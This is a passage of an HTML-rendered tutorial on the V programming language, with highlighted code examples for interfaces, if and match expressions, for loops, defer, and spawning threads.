</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">breed</span> <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">speak</span>() <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>A type implements an interface by implementing its methods and fields. In the following code, both <code>Dog</code> and <code>Cat</code> struct have a <code>breed</code> attribute and a <code>speak()</code> method which allows them to adhere to requirements to be considered as a <code>Speaker</code> type.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">Dog</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">breed</span> <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> (<span style="color:#a6e22e">d</span> <span style="color:#a6e22e">Dog</span>) <span style="color:#a6e22e">speak</span>() <span style="color:#66d9ef">string</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">woof</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">Cat</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">breed</span> <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> (<span style="color:#a6e22e">c</span> <span style="color:#a6e22e">Cat</span>) <span style="color:#a6e22e">speak</span>() <span style="color:#66d9ef">string</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">meow</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">dog</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">Dog</span>{<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Leonberger</span><span style="color:#960050;background-color:#1e0010">&#39;</span>}
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">cat</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">Cat</span>{<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Siamese</span><span style="color:#960050;background-color:#1e0010">&#39;</span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">arr</span> <span style="color:#f92672">:=</span> []<span style="color:#a6e22e">Speaker</span>{}
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">arr</span> <span style="color:#f92672">&lt;&lt;</span> <span style="color:#a6e22e">dog</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">arr</span> <span style="color:#f92672">&lt;&lt;</span> <span style="color:#a6e22e">cat</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">item</span> <span style="color:#a6e22e">in</span> <span style="color:#a6e22e">arr</span> {
</span></span><span style="display:flex;"><span>        println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">a</span> <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">item</span>.<span style="color:#a6e22e">breed</span>} <span style="color:#a6e22e">says</span>: <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">item</span>.<span style="color:#a6e22e">speak</span>()}<span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>To learn more about interfaces, you can reference <a href="https://docs.vlang.io/type-declarations.html#interfaces">this documentation</a>.</p>
<h3 id="control-structures">Control Structures</h3>
<h4 id="if">If</h4>
<p><code>if</code> statements are pretty straightforward and similar to most other languages. Unlike other C-like languages, there are no parentheses surrounding the condition and the braces are always required.</p>
<pre tabindex="0"><code>a := 10
b := 20
if a &lt; b {
    println(&#39;${a} &lt; ${b}&#39;)
} else if a &gt; b {
    println(&#39;${a} &gt; ${b}&#39;)
} else {
    println(&#39;${a} == ${b}&#39;)
}
</code></pre><h4 id="if-expressions"><code>If</code> expressions</h4>
<p>Unlike C, V does not have a ternary operator, that would allow you to do: <code>x = c ? 1 : 2</code> . Instead, it has a bit more verbose, but also clearer to read, ability to use if as an expression. The direct translation in V of the ternary construct above, assuming c is a boolean condition, would be: <code>x = if c { 1 } else { 2 }</code>.</p>
<p>You can use multiple statements in each of the branches of an if expression, followed by a final value, that will become the value of the entire if expression, when it takes that branch:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">n</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">arguments</span>().<span style="color:#a6e22e">len</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">x</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">n</span> &gt; <span style="color:#ae81ff">2</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">dump</span>(<span style="color:#a6e22e">arguments</span>())
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">42</span>
</span></span><span style="display:flex;"><span>} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>    println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">something</span> <span style="color:#66d9ef">else</span><span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">100</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">dump</span>(<span style="color:#a6e22e">x</span>)
</span></span></code></pre></div><h4 id="match">Match</h4>
<p>A match statement is a shorter way to write a sequence of <code>if - else</code> statements. When a matching branch is found, the following statement block will be run. The else branch will be run when no other branches match.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">os</span> <span style="color:#f92672">:=</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">windows</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span>print(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">V</span> <span style="color:#a6e22e">is</span> <span style="color:#a6e22e">running</span> <span style="color:#a6e22e">on</span> <span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">match</span> <span style="color:#a6e22e">os</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">darwin</span><span style="color:#960050;background-color:#1e0010">&#39;</span> { println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">macOS</span>.<span style="color:#960050;background-color:#1e0010">&#39;</span>) }
</span></span><span style="display:flex;"><span>    <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">linux</span><span style="color:#960050;background-color:#1e0010">&#39;</span> { println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Linux</span>.<span style="color:#960050;background-color:#1e0010">&#39;</span>) }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span> { println(<span style="color:#a6e22e">os</span>) }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">number</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">s</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">match</span> <span style="color:#a6e22e">number</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">1</span> { <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">one</span><span style="color:#960050;background-color:#1e0010">&#39;</span> }
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">2</span> { <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">two</span><span style="color:#960050;background-color:#1e0010">&#39;</span> }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span> { <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">many</span><span style="color:#960050;background-color:#1e0010">&#39;</span> }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h4 id="in-operator"><code>in</code> operator</h4>
<p><code>in</code> allows to check whether an array or a map contains an element. To do the opposite, use <code>!in</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">nums</span> <span style="color:#f92672">:=</span> [<span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">2</span>, <span style="color:#ae81ff">3</span>]
</span></span><span style="display:flex;"><span>println(<span style="color:#ae81ff">1</span> <span style="color:#a6e22e">in</span> <span style="color:#a6e22e">nums</span>) <span style="color:#75715e">// true</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#ae81ff">4</span> !<span style="color:#a6e22e">in</span> <span style="color:#a6e22e">nums</span>) <span style="color:#75715e">// true</span>
</span></span></code></pre></div><h4 id="for-loops"><code>for</code> loops</h4>
<p>V has only one looping keyword: <code>for</code>, with several forms.</p>
<p><code>for</code>/<code>in</code> is the most common form. You can use it with an array, map or numeric range. The <code>for value in arr</code> form is used for going through elements of an array. If an index is required, an alternative form <code>for index, value in arr</code> can be used.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">numbers</span> <span style="color:#f92672">:=</span> [<span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">2</span>, <span style="color:#ae81ff">3</span>, <span style="color:#ae81ff">4</span>, <span style="color:#ae81ff">5</span>]
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> <span style="color:#a6e22e">num</span> <span style="color:#a6e22e">in</span> <span style="color:#a6e22e">numbers</span> {
</span></span><span style="display:flex;"><span>    println(<span style="color:#a6e22e">num</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">names</span> <span style="color:#f92672">:=</span> [<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Sam</span><span style="color:#960050;background-color:#1e0010">&#39;</span>, <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Peter</span><span style="color:#960050;background-color:#1e0010">&#39;</span>]
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> <span style="color:#a6e22e">i</span>, <span style="color:#a6e22e">name</span> <span style="color:#a6e22e">in</span> <span style="color:#a6e22e">names</span> {
</span></span><span style="display:flex;"><span>    println(<span style="color:#960050;background-color:#1e0010">&#39;$</span>{<span style="color:#a6e22e">i</span>}) <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">name</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Output: 0) Sam</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//         1) Peter</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Note that the value is read-only. If you need to modify the array while looping, you need to declare the element as mutable:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">numbers</span> <span style="color:#f92672">:=</span> [<span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">2</span>]
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> <span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">num</span> <span style="color:#a6e22e">in</span> <span style="color:#a6e22e">numbers</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">num</span><span style="color:#f92672">++</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">numbers</span>) <span style="color:#75715e">// [1, 2, 3]</span>
</span></span></code></pre></div><p><strong>By default, array elements are taken by value, if you need elements to be taken by reference, use <code>&amp;</code> on the array you want to iterate over:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">User</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">name</span> <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">users</span> <span style="color:#f92672">:=</span> [<span style="color:#a6e22e">User</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">name</span>: <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">someuserwow99</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span>}, <span style="color:#a6e22e">User</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">name</span>: <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">visgod</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span>}]
</span></span><span style="display:flex;"><span><span style="color:#75715e">// note `&amp;users`, this is how a reference to the elements of the array is received</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> <span style="color:#a6e22e">user</span> <span style="color:#a6e22e">in</span> <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">users</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// some operations with `user`</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The same applies to maps.</p>
<p>When an identifier is just a single underscore, it is ignored.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">m</span> <span style="color:#f92672">:=</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">one</span><span style="color:#960050;background-color:#1e0010">&#39;</span>: <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">two</span><span style="color:#960050;background-color:#1e0010">&#39;</span>: <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> <span style="color:#a6e22e">key</span>, <span style="color:#a6e22e">value</span> <span style="color:#a6e22e">in</span> <span style="color:#a6e22e">m</span> {
</span></span><span style="display:flex;"><span>    println(<span style="color:#960050;background-color:#1e0010">&#39;$</span>{<span style="color:#a6e22e">key</span>} <span style="color:#f92672">-</span>&gt; <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">value</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Output: one -&gt; 1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//         two -&gt; 2</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// iterate over keys</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> <span style="color:#a6e22e">key</span>, <span style="color:#a6e22e">_</span> <span style="color:#a6e22e">in</span> <span style="color:#a6e22e">m</span> {
</span></span><span style="display:flex;"><span>    println(<span style="color:#a6e22e">key</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Output: one</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//         two</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// iterate over values</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> <span style="color:#a6e22e">_</span>, <span style="color:#a6e22e">value</span> <span style="color:#a6e22e">in</span> <span style="color:#a6e22e">m</span> {
</span></span><span style="display:flex;"><span>    println(<span style="color:#a6e22e">value</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Output: 1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//         2</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>While executing a ranged <code>for</code>, <code>low..high</code> means an exclusive range, which represents all values from <code>low</code> up to but not including <code>high</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#75715e">// Prints &#39;01234&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> <span style="color:#a6e22e">i</span> <span style="color:#a6e22e">in</span> <span style="color:#ae81ff">0</span> .. <span style="color:#ae81ff">5</span> {
</span></span><span style="display:flex;"><span>    print(<span style="color:#a6e22e">i</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>A conditional <code>for</code> is of the forms</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">sum</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">100</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">sum</span> <span style="color:#f92672">+=</span> <span style="color:#a6e22e">i</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">sum</span>) <span style="color:#75715e">// &#34;5050&#34;</span>
</span></span></code></pre></div><p>This form of the loop is similar to while loops in other languages. The loop will stop iterating once the boolean condition evaluates to false. Again, there are no parentheses surrounding the condition, and the braces are always required.</p>
<p>Finally, there&rsquo;s the traditional C style <code>for</code> loop. It&rsquo;s safer than the while form because with the latter it&rsquo;s easy to forget to update the counter and get stuck in an infinite loop.</p>
<p>Here <code>i</code> doesn&rsquo;t need to be declared with <code>mut</code> since it&rsquo;s always going to be mutable by definition.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">for</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> &lt; <span style="color:#ae81ff">10</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">+=</span> <span style="color:#ae81ff">2</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Don&#39;t print 6</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">6</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">continue</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    println(<span style="color:#a6e22e">i</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>V also supports <a href="https://docs.vlang.io/statements-&amp;-expressions.html#custom-iterators">custom iterators</a>.</p>
<h4 id="defer">Defer</h4>
<p>A <code>defer {}</code> statement, defers the execution of the block of statements until the surrounding scope of the defer ends. It is a convenient feature that allows you to group related actions (getting access to a resource and cleaning/freeing it after you are done) closely together, instead of spreading them across multiple potentially very remote lines of code.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">os</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">read_log</span>() ! {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">ok</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">f</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">open</span>(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">txt</span><span style="color:#960050;background-color:#1e0010">&#39;</span>)!
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">defer</span> { <span style="color:#a6e22e">f</span>.close() }
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// ...</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> !<span style="color:#a6e22e">ok</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// ...</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// defer statement will be called here, the file will be closed</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// ...</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// defer statement will be called here too, the file will be closed</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><blockquote>
<p>If the function returns a value the defer block is executed after the return expression is evaluated.</p>
</blockquote>
<h3 id="concurrency">Concurrency</h3>
<p>V&rsquo;s model of concurrency is similar to Go&rsquo;s.</p>
<p><code>go foo()</code> runs <code>foo()</code> concurrently in a lightweight thread managed by the V runtime.</p>
<p><code>spawn foo()</code> runs <code>foo()</code> concurrently in a different thread:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">math</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">p</span>(<span style="color:#a6e22e">a</span> <span style="color:#a6e22e">f64</span>, <span style="color:#a6e22e">b</span> <span style="color:#a6e22e">f64</span>) { <span style="color:#75715e">// ordinary function without return value</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">c</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">math</span>.<span style="color:#a6e22e">sqrt</span>(<span style="color:#a6e22e">a</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">a</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">b</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">b</span>)
</span></span><span style="display:flex;"><span>    println(<span style="color:#a6e22e">c</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">spawn</span> <span style="color:#a6e22e">p</span>(<span style="color:#ae81ff">3</span>, <span style="color:#ae81ff">4</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// p will be run in parallel thread</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// It can also be written as follows</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// spawn fn (a f64, b f64) {</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// 	c := math.sqrt(a * a + b * b)</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// 	println(c)</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// }(3, 4)</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><blockquote>
<p>Threads rely on the machine&rsquo;s CPU (number of cores/threads). Be aware that OS threads spawned with spawn have limitations in regard to concurrency, including resource overhead and scalability issues, and might affect performance in cases of high thread count.</p>
</blockquote>
<p>Sometimes it is necessary to wait until a parallel thread has finished. This can be done by assigning a handle to the started thread and calling the wait() method to this handle later:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">math</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">p</span>(<span style="color:#a6e22e">a</span> <span style="color:#a6e22e">f64</span>, <span style="color:#a6e22e">b</span> <span style="color:#a6e22e">f64</span>) { <span style="color:#75715e">// ordinary function without return value</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">c</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">math</span>.<span style="color:#a6e22e">sqrt</span>(<span style="color:#a6e22e">a</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">a</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">b</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">b</span>)
</span></span><span style="display:flex;"><span>    println(<span style="color:#a6e22e">c</span>) <span style="color:#75715e">// prints `5`</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">h</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">spawn</span> <span style="color:#a6e22e">p</span>(<span style="color:#ae81ff">3</span>, <span style="color:#ae81ff">4</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// p() runs in parallel thread</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">h</span>.<span style="color:#a6e22e">wait</span>()
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// p() has definitely finished</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This approach can also be used to get a return value from a function that is run in a parallel thread. There is no need to modify the function itself to be able to call it concurrently.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">math</span> { <span style="color:#a6e22e">sqrt</span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">get_hypot</span>(<span style="color:#a6e22e">a</span> <span style="color:#a6e22e">f64</span>, <span style="color:#a6e22e">b</span> <span style="color:#a6e22e">f64</span>) <span style="color:#a6e22e">f64</span> { <span style="color:#75715e">//       ordinary function returning a value</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">c</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">sqrt</span>(<span style="color:#a6e22e">a</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">a</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">b</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">b</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">c</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">g</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">spawn</span> <span style="color:#a6e22e">get_hypot</span>(<span style="color:#ae81ff">54.06</span>, <span style="color:#ae81ff">2.08</span>) <span style="color:#75715e">// spawn thread and get handle to it</span>
